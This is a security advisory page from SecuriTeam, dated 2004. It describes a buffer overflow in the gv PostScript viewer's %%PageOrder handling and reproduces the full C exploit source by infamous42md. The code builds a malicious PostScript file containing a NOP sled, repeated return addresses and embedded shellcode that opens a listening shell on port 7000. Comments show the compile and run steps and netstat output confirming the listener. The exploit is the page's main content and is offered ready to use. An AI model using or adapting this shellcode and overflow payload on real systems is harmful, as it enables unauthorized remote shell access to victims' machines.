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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	GV PostScript Viewer Remote Buffer Overflow Exploit 15 Aug. 2004    Summary gv allows to view and navigate through PostScript and PDF documents on an X display by providing a user interface for the ghostscript interpreter. The following exploit code is for a local buffer overflow in the gv postscript viewer's %%PageOrder portion of the file.   Credit: The information has been provided by infamous42md. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * gv 3.5.8 and prior Exploit: /*  * gv postscript viewer exploit , infamous42md AT hotpop DOT com  *  * run of the mill bof. spawns a remote shell on port 7000. woopty doo. if  * someone has been able to exploit the heap overflow in cfengine, please email  * me and teach me something. after days of pain i've concluded it's not  * possible b/c you can't manipulate the heap enough to get anything good in  * front of you. please prove me wrong so i can learn.  *  * shouts to mitakeet  *  * [n00b localho outernet] netstat -ant | grep 7000  * [n00b localho outernet] gcc -Wall -o gvown gvown.c  * [n00b localho outernet] ./gvown 0xbffff350  * [n00b localho outernet] ./gv h4x0ring_sacr3ts_uncuv3red.ps  * [n00b localho outernet] netstat -ant | grep 7000  * tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN     */ #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define NOP 0x90 #define NNOPS 512 #define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0) #define BS 0x10000 #define RETADDR_BYTES 400 #define PS_COMMENT "%!PS-Adobe- " #define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps" /* call them on port 7000, mine */ char remote[] = "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6" "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50" "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a" "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31" "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0" "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";      int main(int argc, char **argv) {     int len, x, fd;     char buf[BS];     u_long retaddr;     if(argc < 2){         fprintf(stderr, "Usage: %s < retaddr >\n", argv[0]);         return EXIT_FAILURE;     }     sscanf(argv[1], "%lx", &retaddr);     /* create 3vil buf */     memset(buf, NOP, BS);     strcpy(buf, PS_COMMENT);     len = strlen(buf);     for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr))         memcpy(buf+x+len, &retaddr, sizeof(retaddr));     len += x + NNOPS;     strcpy(buf+len, remote);     strcat(buf+len, "\n");     len += strlen(remote) + 1; /* + NULL */     /* create the 3vil file */     if( (fd = open(OUTFILE, O_RDWR|O_CREAT|O_EXCL, 0666)) < 0)         die("open");          if(write(fd, buf, len) < 0)         die("write");     close(fd);          return 0; }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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